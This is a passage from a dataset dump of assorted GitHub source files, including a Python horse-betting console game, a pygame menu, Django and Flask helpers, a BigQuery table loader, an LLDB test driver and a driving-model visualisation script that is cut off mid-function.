inp)\n","repo_name":"NVIDIA/TensorRT","sub_path":"tools/Polygraphy/tests/backend/trt/test_runner.py","file_name":"test_runner.py","file_ext":"py","file_size_in_byte":14374,"program_lang":"python","lang":"en","doc_type":"code","stars":8187,"dataset":"github-code","pt":"53"}
+{"seq_id":"29280465667","text":"import random\n\naccountList = list()\nindex = 0\ncheck1 = False\ncheck2 = False\ncheck3 = False\nhorse1 = \"\"\nhorse2 = \"\"\nmoney1 = int()\nmoney2 = int()\nmoney3 = int()\nnumber = int()\nnumber2 = int()\nnumber3 = int()\nelement = int()\nelement2 = int()\nelement3 = int()\nhorse1List = list()\nhorse2List = list()\nnumberList = [number, number2, number3]\nelementList = [element, element2, element3]\ncheckList = [check1, check2, check3]\nhorseList = [horse1, horse2]\nhorseListList = [horse1List, horse2List]\nmoneyList = list()\n\nclass Account():\n def __init__(self, username, password, money=100):\n self.username = username\n self.password = password\n self.money = money\n\n\ndef startUp():\n while True:\n choose = input(\"1- Register\\n\"\n \"2- Log in\\n\")\n if choose == \"1\":\n register()\n return\n elif choose == \"2\":\n login()\n return\n else:\n print(\"Wrong choice.\")\n\n\ndef register():\n username = input(\"Please enter an username: \")\n password = input(\"Please enter a password: \")\n account = Account(username, password)\n accountList.append(account)\n print(\"Correctly registered!\")\n startUp()\n return\n\n\ndef login():\n check = True\n username = input(\"Please enter your username: \")\n password = input(\"Please enter your password: \")\n for number in accountList:\n if username == number.username and password == number.password:\n check = False\n global index\n index = accountList.index(number)\n\n if check:\n print(\"Username and password doesnt match.\")\n while True:\n choice = input(\"Do you want to register? (yes - no) \")\n if choice == \"yes\":\n register()\n return\n elif choice == \"no\":\n login()\n return\n else:\n print(\"Please enter yes or no.\")\n menu()\n\n\ndef menu():\n while True:\n chose = input(\"\\n\\n1) Play the game\\n\"\n \"2) Log out\\n\"\n \"3) Show money\\n\"\n \"4) Delete the account\\n\"\n \"5) Exit the program\\n\\n\")\n\n if chose == \"5\":\n print(\"Exiting...\")\n return\n elif chose == \"1\":\n bet()\n game()\n return\n elif chose == \"2\":\n startUp()\n return\n elif chose == \"3\":\n print(f\"Money is {accountList[index].money}\")\n elif chose == \"4\":\n print(f\"{accountList[index].username} is deleted.\")\n accountList.remove(accountList[index])\n startUp()\n return\n\n\ndef game():\n horse1start = \"Horse 1: \"\n horse2start = \"Horse 2: \"\n global moneyList\n global horse1List\n global horse2List\n global horse1\n global horse2\n global horseListList\n global horseList\n\n for a in range(0, 3):\n input(f\"Press enter for {a + 1}. tour.\")\n horse1List.append(random.randint(3, 50))\n horse2List.append(random.randint(3, 50))\n for elementList[a] in range(0, horse1List[a]):\n horseList[0] += \"-\"\n print(horse1start, horseList[0])\n\n for numberList[a] in range(0, horse2List[a]):\n horseList[1] += \"-\"\n print(horse2start, horseList[1])\n\n if checkList[a] and len(horseList[0]) > len(horseList[1]):\n accountList[index].money += 2 * moneyList[a]\n print(\n f\"Congratz you won {a + 1}. tour!\\nYou won {moneyList[a]} usd.\\nNew total money is {accountList[index].money}\")\n\n elif not checkList[a] and len(horseList[1]) > len(horseList[0]):\n accountList[index].money += 2 * moneyList[a]\n print(\n f\"Congratz you won {a + 1}. tour!\\nYou won {moneyList[a]} usd.\\nNew total money is {accountList[index].money}\")\n else:\n print(f\"You lose {a + 1}. tour.\")\n\n horseList[0] = \"\"\n horseList[1] = \"\"\n\n menu()\n\n\ndef bet():\n global check1\n global check2\n global check3\n global money1\n global money2\n global money3\n global moneyList\n\n guess1 = input(\"Who wins round one? ( 1 - 2 ) (odd ratio is 2)\\n\")\n money1 = int(input(\"How much money do you want to bet for round 1?\\n \"))\n moneyList.append(money1)\n accountList[index].money -= money1\n guess2 = input(\"Who wins round two? ( 1 - 2 ) (odd ratio is 2)\\n\")\n money2 = int(input(\"How much money do you want to bet for round 2?\\n\"))\n moneyList.append(money2)\n accountList[index].money -= money2\n guess3 = input(\"Who wins the game? ( 1 - 2 ) (odd ratio is 2)\\n\")\n money3 = int(input(\"How much money do you want to bet for game?\\n \"))\n moneyList.append(money3)\n accountList[index].money -= money3\n\n if guess1 == \"1\":\n check1 = True\n if guess2 == \"1\":\n check2 = True\n if guess3 == \"1\":\n check3 = True\n\n\nprint(\"WELCOME TO THE GAME\")\nstartUp()\n","repo_name":"batuhanerdem/Algorithm-works","sub_path":"Python/1 or 2.py","file_name":"1 or 2.py","file_ext":"py","file_size_in_byte":4978,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"19527017977","text":"import pygame\nimport sys\n\nimport utils\nimport settings\nfrom utils import display\nfrom game import Game\nfrom tutorial import Tutorial\n\nmenuu = pygame.image.load(\"textures\\\\menuu.jpg\")\ngamemode_choice_texture = pygame.image.load(\"textures\\\\gamemode_choice.jpg\")\ngamemode_choice_addition = pygame.image.load(\"textures\\\\win_item.xcf\")\n\n\nclass Menu:\n def __init__(self):\n self.mouse_x, self.mouse_y = pygame.mouse.get_pos()\n self.buttons = []\n self.initialize_buttons()\n self.game = Game()\n self.tutorial = Tutorial()\n self.death_screen = Death_screen(self.game)\n self.paused = Pause()\n self.win = Win_screen(self.game)\n self.settings = Settings()\n\n def main(self):\n self.manage_display()\n self.update_mouse()\n self.handle_clicks()\n\n def initialize_buttons(self):\n self.buttons.append(Button(self, 600, 400, 400, 80, \"Play\", self.play))\n self.buttons.append(Button(self, 600, 500, 400, 80, \"Settings\", self.open_settings))\n self.buttons.append(Button(self, 600, 600, 400, 80, \"Quit\", self.quit))\n\n def update_mouse(self):\n self.mouse_x, self.mouse_y = pygame.mouse.get_pos()\n\n def play(self):\n utils.choose_game_mode = True\n\n @staticmethod\n def open_settings():\n utils.open_settings = True\n\n @staticmethod\n def quit():\n utils.game_running = False\n utils.running = False\n pygame.quit()\n sys.exit()\n\n def manage_display(self):\n display.fill((39, 142, 183))\n display.blit(menuu, (0, 0))\n for button in self.buttons:\n button.render()\n title1 = utils.title_font.render(\"Dummy\", True, (0, 0, 0))\n title2 = utils.title_font.render(\"Quest\", True, (0, 0, 0))\n display.blit(title1, (365, 50))\n display.blit(title2, (400, 180))\n pygame.display.update()\n\n def handle_clicks(self):\n for event in pygame.event.get():\n if event.type == pygame.MOUSEBUTTONDOWN:\n if event.button == 1:\n for button in self.buttons:\n button.do_sth()\n\n if event.type == pygame.QUIT:\n pygame.quit()\n sys.exit()\n\n\nclass Button:\n base = pygame.image.load(\"textures\\\\Button_base.xcf\")\n click = pygame.image.load(\"textures\\\\Button_click.xcf\")\n\n def __init__(self, menu, x, y, width, height, name, function):\n self.menu = menu\n self.x = x\n self.y = y\n self.width = width\n self.height = height\n self.text = name\n self.name = utils.font_buttons.render(name, True, (0, 0, 0))\n self.function = function\n self.hit_box = pygame.Rect(x - width/2, y - height/2, width, height)\n self.clicked = False\n self.texture = Button.base\n\n def render(self):\n self.choose_texture()\n pygame.draw.rect(display, (255, 0, 0), self.hit_box)\n texture_copy = pygame.transform.scale(self.texture, (self.width, self.height))\n display.blit(texture_copy, (self.x - self.width/2, self.y - self.height/2))\n display.blit(self.name,\n (self.x - self.name.get_width()/2, self.y - self.name.get_height()/2))\n\n def choose_texture(self):\n if self.hit_box.x < self.menu.mouse_x < self.hit_box.x + self.hit_box.width and\\\n self.hit_box.y < self.menu.mouse_y < self.hit_box.y + self.hit_box.height:\n self.texture = Button.click\n self.clicked = True\n else:\n self.texture = Button.base\n self.clicked = False\n\n def do_sth(self):\n if self.clicked:\n self.function()\n\n\nclass Death_screen:\n def __init__(self, game):\n self.game = game\n self.buttons = []\n self.initialize_buttons()\n self.mouse_x, self.mouse_y = pygame.mouse.get_pos()\n\n def main(self):\n pygame.mouse.set_visible(True)\n self.mouse_x, self.mouse_y = pygame.mouse.get_pos()\n self.manage_display()\n self.handle_clicks()\n\n def initialize_buttons(self):\n self.buttons.append(Button(self, 600, 500, 400, 80, \"Menu\", self.go_back))\n self.buttons.append(Button(self, 600, 600, 400, 80, \"Quit\", Menu.quit))\n\n def handle_clicks(self):\n for event in pygame.event.get():\n if event.type == pygame.MOUSEBUTTONDOWN:\n if event.button == 1:\n for button in self.buttons:\n button.do_sth()\n\n if event.type == pygame.QUIT:\n pygame.quit()\n sys.exit()\n\n def manage_display(self):\n message = utils.font_death.render(\"You're dead!\", True, (150, 15, 15))\n display.blit(message, (350, 100))\n for button in self.buttons:\n button.render()\n pygame.display.update()\n\n def go_back(self):\n utils.game_running = False\n utils.tutorial_running = False\n utils.dead = False\n\nclass Pause:\n def __init__(self):\n self.buttons = []\n self.initialize_buttons()\n self.mouse_x, self.mouse_y = pygame.mouse.get_pos()\n\n def main(self):\n pygame.mouse.set_visible(True)\n self.mouse_x, self.mouse_y = pygame.mouse.get_pos()\n self.manage_display()\n self.handle_clicks()\n\n def initialize_buttons(self):\n self.buttons.append(Button(self, 600, 500, 400, 80, \"Resume\", self.resume))\n self.buttons.append(Button(self, 600, 600, 400, 80, \"Menu\", self.menu))\n\n def handle_clicks(self):\n for event in pygame.event.get():\n if event.type == pygame.MOUSEBUTTONDOWN:\n if event.button == 1:\n for button in self.buttons:\n button.do_sth()\n\n if event.type == pygame.QUIT:\n pygame.quit()\n sys.exit()\n\n def manage_display(self):\n message = utils.font_death.render(\"Paused\", True, (0, 60, 60))\n display.blit(message, (450, 100))\n for button in self.buttons:\n button.render()\n pygame.display.update()\n\n @staticmethod\n def menu():\n utils.game_running = False\n utils.tutorial_running = False\n utils.paused = False\n\n @staticmethod\n def resume():\n pygame.mouse.set_visible(False)\n utils.paused = False\n\nclass Win_screen:\n def __init__(self, game):\n self.game = game\n self.buttons = []\n self.initialize_buttons()\n self.mouse_x, self.mouse_y = pygame.mouse.get_pos()\n\n def main(self):\n pygame.mouse.set_visible(True)\n self.mouse_x, self.mouse_y = pygame.mouse.get_pos()\n self.manage_display()\n self.handle_clicks()\n\n def initialize_buttons(self):\n self.buttons.append(Button(self, 600, 500, 400, 80, \"Menu\", self.go_back))\n self.buttons.append(Button(self, 600, 600, 400, 80, \"Quit\", Menu.quit))\n\n def handle_clicks(self):\n for event in pygame.event.get():\n if event.type == pygame.MOUSEBUTTONDOWN:\n if event.button == 1:\n for button in self.buttons:\n button.do_sth()\n\n if event.type == pygame.QUIT:\n sys.exit()\n\n def manage_display(self):\n message = utils.font_death.render(\"You've won!\", True, (138, 238, 255))\n display.blit(message, (330, 100))\n for button in self.buttons:\n button.render()\n pygame.display.update()\n\n @staticmethod\n def go_back():\n utils.game_running = False\n utils.tutorial_running = False\n utils.win = False\n\n\nclass Settings:\n def __init__(self):\n self.buttons = []\n self.initialize_buttons()\n self.mouse_x, self.mouse_y = pygame.mouse.get_pos()\n\n def main(self):\n pygame.mouse.set_visible(True)\n self.mouse_x, self.mouse_y = pygame.mouse.get_pos()\n self.manage_display()\n self.handle_clicks()\n\n def initialize_buttons(self):\n self.buttons.append(Button(self, 600, 300, 400, 80, \"Difficulty level\", Settings.toggle_difficulty))\n self.buttons.append(Button(self, 600, 400, 400, 80, \"Crosshair dot\", Settings.toggle_crosshair))\n self.buttons.append(Button(self, 600, 500, 400, 80, \"Special buttons\", Settings.toggle_dev_keys))\n self.buttons.append(Button(self, 600, 600, 400, 80, \"<-- Back\", Settings.go_back))\n\n def handle_clicks(self):\n for event in pygame.event.get():\n if event.type == pygame.MOUSEBUTTONDOWN:\n if event.button == 1:\n for button in self.buttons:\n button.do_sth()\n\n if event.type == pygame.QUIT:\n sys.exit()\n\n def manage_display(self):\n display.fill((39, 142, 183))\n message = utils.font_death.render(\"Settings\", True, (156, 183, 50))\n display.blit(message, (430, 100))\n for button in self.buttons:\n button.render()\n Settings.manage_settings()\n pygame.display.update()\n\n @staticmethod\n def go_back():\n utils.open_settings = False\n utils.set_difficulty()\n\n @staticmethod\n def toggle_crosshair():\n settings.crosshair_dot = not settings.crosshair_dot\n\n @staticmethod\n def toggle_dev_keys():\n settings.dev_keys = not settings.dev_keys\n\n @staticmethod\n def toggle_difficulty():\n settings.difficulty_level += 1\n if settings.difficulty_level > 2:\n settings.difficulty_level = -1\n utils.set_difficulty()\n\n @staticmethod\n def manage_settings():\n if settings.crosshair_dot:\n display.blit(utils.font_buttons.render(\"ON\", True, (0, 255, 0)), (820, 380))\n else:\n display.blit(utils.font_buttons.render(\"OFF\", True, (255, 0, 0)), (820, 380))\n\n if settings.dev_keys:\n display.blit(utils.font_buttons.render(\"ON\", True, (0, 255, 0)), (820, 480))\n else:\n display.blit(utils.font_buttons.render(\"OFF\", True, (255, 0, 0)), (820, 480))\n\n if settings.difficulty_level == -1:\n display.blit(utils.font_buttons.render(\"BABY\", True, (0, 255, 0)), (820, 280))\n elif settings.difficulty_level == 0:\n display.blit(utils.font_buttons.render(\"EASY\", True, (200, 255, 28)), (820, 280))\n elif settings.difficulty_level == 1:\n display.blit(utils.font_buttons.render(\"NORMAL\", True, (249, 200, 30)), (820, 280))\n else:\n display.blit(utils.font_buttons.render(\"HARD\", True, (255, 0, 0)), (820, 280))\n\n\nclass Choice:\n def __init__(self, menu):\n self.menu = menu\n self.buttons = []\n self.initialize_buttons()\n self.mouse_x, self.mouse_y = pygame.mouse.get_pos()\n\n def main(self):\n pygame.mouse.set_visible(True)\n self.mouse_x, self.mouse_y = pygame.mouse.get_pos()\n self.manage_display()\n self.handle_clicks()\n\n def initialize_buttons(self):\n self.buttons.append(Button(self, 600, 300, 400, 80, \"Normal\", self.normal))\n self.buttons.append(Button(self, 300, 450, 400, 80, \"Tutorial\", self.tutorial))\n self.buttons.append(Button(self, 900, 450, 400, 80, \"Pizza hunt\", self.pizza))\n self.buttons.append(Button(self, 600, 600, 400, 80, \"<-- Back\", self.go_back))\n\n def handle_clicks(self):\n for event in pygame.event.get():\n if event.type == pygame.MOUSEBUTTONDOWN:\n if event.button == 1:\n for button in self.buttons:\n button.do_sth()\n\n if event.type == pygame.QUIT:\n sys.exit()\n\n def manage_display(self):\n display.blit(gamemode_choice_texture, (0, 0))\n display.blit(pygame.transform.scale(gamemode_choice_addition, (64, 64)), (575, 340))\n message = utils.font_death.render(\"Choose game mode\", True, (138, 238, 255))\n display.blit(message, (180, 100))\n for button in self.buttons:\n button.render()\n pygame.display.update()\n\n def normal(self):\n pygame.mouse.set_visible(False)\n utils.gamemode = 0\n self.menu.game = Game()\n utils.game_running = True\n utils.choose_game_mode = False\n\n def tutorial(self):\n pygame.mouse.set_visible(False)\n self.menu.tutorial = Tutorial()\n utils.tutorial_running = True\n utils.message_break = False\n utils.choose_game_mode = False\n\n def pizza(self):\n pygame.mouse.set_visible(False)\n utils.gamemode = 1\n self.menu.game = Game()\n utils.game_running = True\n utils.choose_game_mode = False\n\n @staticmethod\n def go_back():\n utils.choose_game_mode = False\n","repo_name":"Daxin18/DummyQuest","sub_path":"menu.py","file_name":"menu.py","file_ext":"py","file_size_in_byte":12731,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"19973170577","text":"import importlib\n\nfrom django.apps import AppConfig\nfrom django.conf import settings\nfrom django.utils.translation import gettext_lazy as _\n\nfrom django.core.exceptions import ImproperlyConfigured\nfrom .backend import EventAcceptor\n\n\nclass ServiceConfig(AppConfig):\n default_auto_field = 'django.db.models.BigAutoField'\n name = 'django_sso.sso_service'\n\n def ready(self):\n if not hasattr(settings, 'SSO'):\n raise ImproperlyConfigured(f'Django SSO: Client side requires SSO variable in settings.py')\n\n if not hasattr(settings, 'SSO') or not isinstance(settings.SSO, dict):\n raise ImproperlyConfigured(\n f'Django SSO: In settings.py SSO variable must be dict. (Now are \"{type(settings.SSO).__name__}\")'\n )\n\n if not hasattr(settings, 'LOGIN_URL'):\n raise ImproperlyConfigured('Django SSO: Requires LOGIN_URL setting')\n\n for variable in ('TOKEN', 'ROOT'):\n if variable not in settings.SSO:\n raise ImproperlyConfigured(f\"SSO[{variable}] {_('settings variable not set')}\")\n\n settings.SSO['ROOT'] = settings.SSO['ROOT'].rstrip('/')\n\n sso_event_acceptor_class = settings.SSO.get('EVENT_ACCEPTOR_CLASS', '').strip()\n\n if sso_event_acceptor_class:\n if type(sso_event_acceptor_class) != str:\n raise ImproperlyConfigured(f\"SSO[EVENT_ACCEPTOR_CLASS] {_('must be string')}\")\n\n try:\n [module_name, class_name] = sso_event_acceptor_class.rsplit('.', 1)\n module = importlib.import_module(module_name)\n class_ref = getattr(module, class_name, None)\n\n if not class_ref:\n raise ImproperlyConfigured(_(\n f'In SSO[EVENT_ACCEPTOR_CLASS] declared module has no class named {class_name}'\n ))\n\n if not issubclass(class_ref, EventAcceptor):\n raise ImproperlyConfigured(\n f'{settings.SSO[\"EVENT_ACCEPTOR_CLASS\"]} {_(\"is not inherits\")} '\n f'django_sso.sso_service.backend.EventAcceptor'\n )\n except ImproperlyConfigured as e:\n raise e\n except Exception as e:\n raise ImproperlyConfigured(_(\n 'Can\\'t import SSO event acceptor class from SSO[EVENT_ACCEPTOR_CLASS] variable'\n ))\n\n from . import signals\n","repo_name":"DAVIDhaker/django-sso","sub_path":"src/django_sso/sso_service/apps.py","file_name":"apps.py","file_ext":"py","file_size_in_byte":2464,"program_lang":"python","lang":"en","doc_type":"code","stars":22,"dataset":"github-code","pt":"53"}
+{"seq_id":"6202584453","text":"# -*- coding: utf-8 -*-\n\nfrom flask_restful import reqparse\n\n\ncontract_parser = reqparse.RequestParser(bundle_errors=True)\ncontract_parser.add_argument('id', location='args', type=str, required=True)\ncontract_parser.add_argument('userId', location='args', type=int)\n\ncontract_callback = reqparse.RequestParser(bundle_errors=True)\ncontract_callback.add_argument('code', location='json', type=str)\ncontract_callback.add_argument('signID', location='json', type=str)\ncontract_callback.add_argument('userId', location='args', type=int)\n\ncontract_sign = reqparse.RequestParser(bundle_errors=True)\ncontract_sign.add_argument('userId', location='args', type=int)\ncontract_sign.add_argument('id', location='json', type=str, required=True)\ncontract_sign.add_argument('callback', location='json', type=str, required=True)\n","repo_name":"leolinf/flask-demo","sub_path":"risk/app/ssq/parsers.py","file_name":"parsers.py","file_ext":"py","file_size_in_byte":812,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"53"}
+{"seq_id":"21642896621","text":"import json\nimport logging\n\nfrom google.cloud import bigquery, secretmanager, storage\nfrom google.cloud.bigquery import LoadJobConfig\nfrom google.cloud.exceptions import NotFound\n\nfrom . import constants\n\n# Create a logger for this module\nlogger = logging.getLogger(__name__)\n\n\n# Function to create a table from a JSON file\ndef create_table_from_json(json_file, bigquery_client, dataset_id, bucket_name):\n \"\"\"Creates a BigQuery table from a json file.\"\"\"\n\n dataset_ref = bigquery_client.dataset(dataset_id)\n table_id = f\"{json_file.split('.')[0]}_table\" # Use the file name as the table name\n\n # Check if the table already exists, and delete it if it does\n table_ref = dataset_ref.table(table_id)\n try:\n bigquery_client.get_table(table_ref)\n bigquery_client.delete_table(table_ref)\n except NotFound:\n pass\n\n # Define the load job configuration with schema auto-detection\n job_config = LoadJobConfig(\n autodetect=True,\n source_format=bigquery.SourceFormat.NEWLINE_DELIMITED_JSON,\n )\n\n # Load data from Google Cloud Storage into BigQuery\n uri = f\"gs://{bucket_name}/{json_file}\"\n load_job = bigquery_client.load_table_from_uri(\n uri,\n table_ref,\n job_config=job_config,\n )\n\n load_job.result() # Wait for the job to complete\n\n logger.info(f\"Table {table_id} created successfully from {json_file}\")\n\n\ndef create_bigquery_tables():\n \"\"\"Create biquery tables from json files in a GCP bucket.\"\"\"\n\n # Set your project and bucket information\n bucket_name = constants.GCP_DATA_STORAGE_BUCKET_NAME\n dataset_id = constants.GCP_DATASET_NAME\n project_number = constants.GCP_PROJECT_NUMBER\n\n # Initialize Storage client\n secret_name = f\"projects/{project_number}/secrets/GCP_CREDENTIALS_JSON/versions/latest\"\n client = secretmanager.SecretManagerServiceClient()\n response = client.access_secret_version(name=secret_name)\n payload = response.payload.data.decode(\"UTF-8\")\n gcp_bigquery_admin_credentials_json = json.loads(payload)\n\n # Initialize BigQuery client\n secret_name = f\"projects/{project_number}/secrets/GCP_CREDENTIALS_JSON/versions/latest\"\n client = secretmanager.SecretManagerServiceClient()\n response = client.access_secret_version(name=secret_name)\n payload = response.payload.data.decode(\"UTF-8\")\n gcp_credentials_json = json.loads(payload)\n\n storage_client = storage.Client.from_service_account_info(gcp_credentials_json)\n bigquery_client = bigquery.Client.from_service_account_info(gcp_bigquery_admin_credentials_json)\n\n # List JSON files in your Google Cloud Storage bucket\n blobs = storage_client.list_blobs(bucket_name)\n json_files = [blob.name for blob in blobs if blob.name.endswith(\".json\")]\n\n logger.info(f\"json files = {json_files}\")\n print(f\"json files = {json_files}\")\n\n # Create BigQuery tables for each JSON file\n for json_file in json_files:\n create_table_from_json(\n json_file=json_file, bigquery_client=bigquery_client, dataset_id=dataset_id, bucket_name=bucket_name\n )\n\n\nif __name__ == \"__main__\":\n create_bigquery_tables()\n","repo_name":"barney11/tmdb-data-platform","sub_path":"tmdb_data_platform/scripts/migrate_data.py","file_name":"migrate_data.py","file_ext":"py","file_size_in_byte":3152,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"53"}
+{"seq_id":"18472088747","text":"import sys\n\nsys.stdin = open(\"2001.txt\", \"r\")\n\nT = int(input())\n\nfor t in range(1, T+1):\n my_arr = []\n (N, M) = map(int, input().split())\n\n sums = []\n # 파리표 만들기\n for i in range(N):\n arr = list(map(int, input().split()))\n my_arr.append(arr)\n # 최대 구하기 시작\n for x in range(N - M + 1):\n for y in range(N - M + 1):\n temp = 0\n for i in range(M):\n for j in range(M):\n temp += my_arr[x+i][y+j]\n sums.append(temp)\n\n print('#{} {}'.format(t,max(sums)))","repo_name":"baiktte/APS","sub_path":"0806/2001_파리퇴치.py","file_name":"2001_파리퇴치.py","file_ext":"py","file_size_in_byte":579,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"11567816395","text":"#!/usr/bin/python3\n\"\"\"\nPython script that takes in a URL, sends a request to the URL and displays\nthe body of the response (decoded in utf-8).\n - You have to manage urllib.error.HTTPError exceptions and\n print: Error code: followed by the HTTP status code\n - You must use the packages urllib and sys\n - You are not allowed to import other packages than urllib and sys\n - You don’t need to check arguments passed to the script (number or type)\n - You must use the with statement\n\"\"\"\nfrom sys import argv\nfrom urllib.error import HTTPError\nfrom urllib.request import Request, urlopen\n\n\nif __name__ == \"__main__\":\n\n try:\n req = Request(argv[1])\n with urlopen(req) as response:\n body = response.read()\n print(body.decode(\"utf-8\"))\n except HTTPError as error:\n print(\"Error code: {}\".format(error.code))\n","repo_name":"Ella711/holbertonschool-higher_level_programming","sub_path":"0x11-python-network_1/3-error_code.py","file_name":"3-error_code.py","file_ext":"py","file_size_in_byte":868,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"28702115708","text":"from datetime import date\n\nfrom flask import flash, redirect, render_template, url_for, Blueprint\n\nfrom project import db\nfrom project.models import User, Point\n\nhome_blueprint = Blueprint(\n\t'home', __name__,\n\ttemplate_folder='templates'\n)\n\n# ROUTES\n\n@home_blueprint.route('/')\ndef index():\n\tusers = db.session.query(User).all()\n\n\tfor user in users:\n\t\ttoday = date.today()\n\n\t\tptz_today = db.session.query(Point).filter(Point.created_at >= today).filter_by(user_id=user.id).count()\n\t\tuser.points_today = ptz_today\n\n\t\tthis_month = date(today.year, today.month, 1)\n\t\tptz_month = db.session.query(Point).filter(Point.created_at >= this_month).filter_by(user_id=user.id).count()\n\t\tuser.points_this_month = ptz_month\n\n\tctx = {\n 'users': users\n }\n\n\treturn render_template('index.html', **ctx)\n\n@home_blueprint.route('/user/')\ndef profile(username):\n\tuser = db.session.query(User).filter(User.name == username).first()\n\tif user != None:\n\t\treturn render_template('profile.html', user=user)\n\telse:\n\t\tflash('That user does not exist.')\n\t\treturn redirect(url_for('home.index'))\n\n@home_blueprint.route('/halp')\ndef help():\n\treturn render_template('help.html')","repo_name":"mikehobi/slack-points","sub_path":"project/home/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1166,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"15744533722","text":"import sys\nsys.setrecursionlimit(100000) # 재귀 최대깊이\n\nn = int(input()) # 컴퓨터의수(정점의 개수)\nm = int(input()) # 간선의 개수\ngraph = [[i] for i in range(n+1)] # 0~7까지 있는데, 1~7만 사용\nvisited = [False] * (n+1) # 방문 표시 배열\ncount = 0\nfor i in range(m):\n a,b = map(int, sys.stdin.readline().rstrip().split())\n graph[a].append(b)\n graph[b].append(a)\n\ndef dfs(graph, v, visited):\n global count # count를 전역 변수로 설정\n visited[v] = True # 시작 정점 방문표시\n for i in graph[v]:\n if not visited[i]:\n count += 1\n dfs(graph, i, visited)\n\ndfs(graph, 1, visited)\nprint(count)\n","repo_name":"alps-jbnu/23ALPStudy","sub_path":"2023-1/Basic/bjgood01/Graph/2606.py","file_name":"2606.py","file_ext":"py","file_size_in_byte":699,"program_lang":"python","lang":"ko","doc_type":"code","stars":12,"dataset":"github-code","pt":"53"}
+{"seq_id":"39333797330","text":"# This program is a thin driver to connect the lldb_test to Bazel\n\nimport rules.test.lldb.lldb_sim_runner as lldb_sim_runner\nimport argparse\nimport os\nimport logging\nimport json\n\nlogging.basicConfig(\n format=\"%(asctime)s.%(msecs)03d %(levelname)s %(message)s\",\n datefmt=\"%Y-%m-%d %H:%M:%S\",\n level=logging.INFO)\nlogger = logging.getLogger(__name__)\n\n\nparser = argparse.ArgumentParser()\nparser.add_argument(\"--app\")\nparser.add_argument(\"--sdk\")\nparser.add_argument(\"--spec\")\nparser.add_argument(\"--device\")\nparser.add_argument(\"--lldbinit\")\n\nargs = parser.parse_args()\n\n\ndef setup_test_tmp_dir(exec_root, test_tmp_dir, test_spec):\n logger.info(\"Setup test root: \" + test_tmp_dir)\n # LLDB needs to read this file later\n os.symlink(test_spec, os.path.join(test_tmp_dir, \"test_spec.json\"))\n logging.info(\"Symlinking spec %s to %s\", test_spec,\n os.path.join(test_tmp_dir, \"test_spec.json\"))\n\n return test_tmp_dir\n\n\ndef get_test_result(test_root):\n lpath = test_root + \"/test_result.json\"\n if not os.path.exists(lpath):\n raise Exception(f\"Test exited without result %s\", test_root)\n with open(lpath, 'r') as test_result:\n return json.load(test_result)\n\n\ntmp_dir = os.environ[\"TEST_TMPDIR\"]\nexec_root = os.path.dirname(os.path.dirname(tmp_dir))\ntest_spec = os.path.join(exec_root, args.spec)\ntest_tmp_dir = setup_test_tmp_dir(exec_root, tmp_dir, test_spec)\napp_path = os.path.join(exec_root, args.app)\nlogger.info(\"Test Root \" + test_tmp_dir)\n\nstdout_path = os.path.join(test_tmp_dir, \"lldb.stdout\")\nexit_code = lldb_sim_runner.run_lldb(app_path=app_path, sdk=args.sdk,\n device=args.device, lldbinit_path=os.path.join(\n exec_root, args.lldbinit),\n test_root=exec_root, lldb_stdout=stdout_path)\nif exit_code != 0:\n exit(exit_code)\n\n# Check to ensure that stdout was written\nif not os.path.exists(stdout_path):\n raise Exception(f\"Test exited without lldb.stdout %s\", stdout_path)\n\n\ndef match_test_spec(stdout, test_spec):\n with open(test_spec, 'r') as test_spec:\n test_spec_dict = json.load(test_spec)\n if not \"substrs\" in test_spec_dict:\n logging.info(f\"Skipping matching for spec %s\", test_spec)\n\n substrs = test_spec_dict[\"substrs\"]\n matches = {}\n for substr in substrs:\n logging.info(\"Load match: (\" + substr + \")\")\n matches[substr] = 0\n\n match_count = 0\n for line in stdout:\n match = line.strip()\n logging.debug(\"Try match: (\" + match + \")\")\n if match in matches:\n logging.debug(\"Got match:\" + match)\n match_count += 1\n matches[match] = matches[match] = 1\n\n # Could add better output here, but use stdout for now\n if match_count != len(substrs):\n raise Exception(f\"Invalid matches lldb.stdout %s\", str(matches))\n\n\nwith open(stdout_path, \"r\") as stdout:\n match_test_spec(stdout, test_spec)\n\nresult = get_test_result(test_tmp_dir)\nexit(exit_code if result[\"status\"] == 0 else 1)\n","repo_name":"bazel-ios/rules_ios","sub_path":"rules/test/lldb/lldb_breakpoint_test_main.py","file_name":"lldb_breakpoint_test_main.py","file_ext":"py","file_size_in_byte":3145,"program_lang":"python","lang":"en","doc_type":"code","stars":245,"dataset":"github-code","pt":"53"}
+{"seq_id":"9352606770","text":"import uuid\nimport argparse\nimport pathlib\n\nimport numpy as np\nimport torch\nimport pytorch_lightning as pl\nimport torchvision\nimport wandb\n\nfrom pytorch_lightning.loggers import WandbLogger\nfrom pytorch_lightning.callbacks import ModelCheckpoint\nfrom PIL import Image, ImageDraw\n\nfrom models import SegmentationModel, RawController\ntry:\n from src.utils.heatmap import ToHeatmap\nexcept ModuleNotFoundError as error:\n from utils.heatmap import ToHeatmap\nfrom dataset import get_dataset\nimport src.common as common\n\n\n@torch.no_grad()\ndef visualize(batch, out, between, out_cmd, loss_point, loss_cmd, target_heatmap):\n images = list()\n\n for i in range(out.shape[0]):\n _loss_point = loss_point[i]\n _loss_cmd = loss_cmd[i]\n _out = out[i]\n _out_cmd = out_cmd[i]\n _between = between[i]\n\n rgb, topdown, points, target, actions, meta = [x[i] for x in batch]\n\n _rgb = np.uint8(rgb.detach().cpu().numpy().transpose(1, 2, 0) * 255)\n _target_heatmap = np.uint8(target_heatmap[i].detach().squeeze().cpu().numpy() * 255)\n _target_heatmap = np.stack(3 * [_target_heatmap], 2)\n _target_heatmap = Image.fromarray(_target_heatmap)\n _topdown = Image.fromarray(common.COLOR[topdown.argmax(0).detach().cpu().numpy()])\n _draw = ImageDraw.Draw(_topdown)\n\n _draw.ellipse((target[0]-2, target[1]-2, target[0]+2, target[1]+2), (255, 255, 